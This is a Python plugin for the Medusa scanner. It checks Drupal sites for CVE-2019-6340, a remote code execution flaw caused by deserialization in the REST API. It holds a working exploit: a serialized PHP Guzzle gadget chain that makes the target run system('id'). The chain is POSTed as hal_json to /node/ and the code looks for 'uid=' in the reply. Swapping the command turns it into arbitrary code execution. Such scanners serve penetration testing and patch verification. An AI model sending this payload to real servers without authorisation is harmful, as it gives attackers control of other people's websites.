#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,ErrorHandling,Proxies
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2019-6340" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-4-9"  # 插件编辑时间
        self.info['disclosure'] = '2019-2-21'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "DrupalRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='Drupal远程执行代码漏洞' #漏洞名称
        self.info['affects'] = "Drupal"  # 漏洞组件
        self.info['desc_content'] = "POST/PATCH请求，在进行RESTAPI操作的过程中，会将未经安全过滤的参数内容带入unserialize函数而触发反序列化漏洞，进而导致任意代码执行。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "Drupal<8.6.10\r\nDrupal<8.5.12"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新Drupal版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(Url:str,Headers:dict,proxies:str=None,**kwargs)->None:
    proxies=Proxies().result(proxies)
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        #想要执行的命令
        shell="id"
        data="""
{
  "link": [
    {
      "value": "link",
      "options": "O:24:\\"GuzzleHttp\\\\Psr7\\\\FnStream\\":2:{s:33:\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\";a:1:{s:5:\\"close\\";a:2:{i:0;O:23:\\"GuzzleHttp\\\\HandlerStack\\":3:{s:32:\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\";s:%s:\\"%s\\";s:30:\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\";a:1:{i:0;a:1:{i:0;s:6:\\"system\\";}}s:31:\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\";b:0;}i:1;s:7:\\"resolve\\";}}s:9:\\"_fn_close\\";a:2:{i:0;r:4;i:1;s:7:\\"resolve\\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "%s/rest/type/shortcut/default"
    }
  }
}"""%(len(shell),shell,scheme + "://" + url + ":" + str(port))
        payload = '/node/?_format=hal_json'
        payload_url = scheme + "://" + url + ":" + str(port) + payload

        Headers['Connection']= 'keep-alive'

        Headers["Content-Type"]="application/hal+json"


        resp = requests.post(payload_url,data=data,headers=Headers, proxies=proxies,timeout=6, verify=False)
        code = resp.status_code
        res=resp.text
        if code == 403 and res.find("message")!=-1 and res.find("uid=")!=-1 and res.find("gid=")!=-1 and res.find("groups=")!=-1:
            Medusa = "{}存在Drupal远程执行代码漏洞\r\n验证数据:\r\n漏洞位置:{}\r\n使用POC:{}\r\n返回结果:{}\r\n".format(url,payload_url,data,res)
            print(Medusa)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, url,**kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类